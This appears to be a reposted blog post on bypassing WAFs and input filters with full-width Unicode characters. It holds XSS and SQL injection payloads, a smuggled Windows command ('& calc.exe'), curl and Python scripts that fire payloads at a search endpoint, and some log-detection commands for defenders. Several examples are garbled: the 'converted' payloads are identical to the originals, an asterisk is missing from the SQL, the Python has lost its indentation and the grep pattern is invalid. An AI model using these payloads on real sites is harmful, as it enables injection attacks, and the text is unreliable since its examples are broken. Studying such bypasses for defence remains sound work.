XSS/WAF/SQL Filter Bypass Techniques Using Full-Width Unicode Characters

Listen to this Post

Featured Image
Security researchers and bug bounty hunters often encounter Web Application Firewalls (WAFs) and input filters that block standard payloads. One effective bypass technique involves using full-width Unicode characters, which can evade detection while maintaining exploit functionality.

Common Full-Width Unicode Characters for Filter Bypass:

< - %EF%BC%9C (\uff1c) 
> - %EF%BC%9E (\uff1e) 
\ - %EF%BC%BC (\uff3c) 
/ - %EF%BC%8F (\uff0f) 
' - %EF%BC%87 (\uff07) 
" - %EF%BC%82 (\uff02) 

You Should Know:

1. Testing XSS with Full-Width Characters

Replace standard <, >, /, and quotes with their full-width equivalents:

<script>alert(1)</script> 
<img src=x onerror=alert(1)> 

2. SQL Injection Bypass

Use full-width single quotes (`'`) to bypass filters:

SELECT  FROM users WHERE username = 'admin' AND 1=1-- 

Becomes:

SELECT  FROM users WHERE username = 'admin' AND 1=1-- 

3. WAF Evasion in Linux CLI (Curl Exploitation)

Test payloads using `curl` with URL-encoded full-width characters:

curl -X POST "http://example.com/search" -d "q=<script>alert(1)</script>" 

Or encode manually:

curl -X POST "http://example.com/search" -d "q=%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E" 

4. Windows Command Injection Bypass

If a system filters `|` or &, try full-width alternatives:

ping 127.0.0.1 & calc.exe 

5. Python Script for Automated Bypass

payloads = ["<script>alert(1)</script>", "' OR 1=1--"] 
for payload in payloads: 
r = requests.get(f"http://example.com/search?q={payload}") 
if "error" not in r.text: 
print(f"Bypass successful: {payload}") 

What Undercode Say:

Unicode-based filter bypass remains a powerful technique due to inconsistent WAF parsing. Security teams must normalize input by converting full-width characters to their ASCII equivalents. For defenders:

 Linux command to detect full-width chars in logs 
grep -P "[\uff00-\uffff]" /var/log/nginx/access.log 

For Windows event logs:

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object { $_.Message -match "[\uff00-\uffff]" } 

Always test applications against Unicode payloads and implement proper input sanitization.

Expected Output:

A working XSS/SQLi bypass using full-width Unicode characters, evading WAF restrictions while executing malicious payloads.

Prediction:

As WAFs improve, attackers will increasingly leverage lesser-known Unicode variants, emojis, and homoglyphs to bypass filters. Proactive normalization and behavioral analysis will become critical in defense strategies.

(URLs for further reading: OWASP Unicode Encoding, PortSwigger XSS Cheatsheet)

IT/Security Reporter URL:

Reported By: Amitkumar711 Filterbypass – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram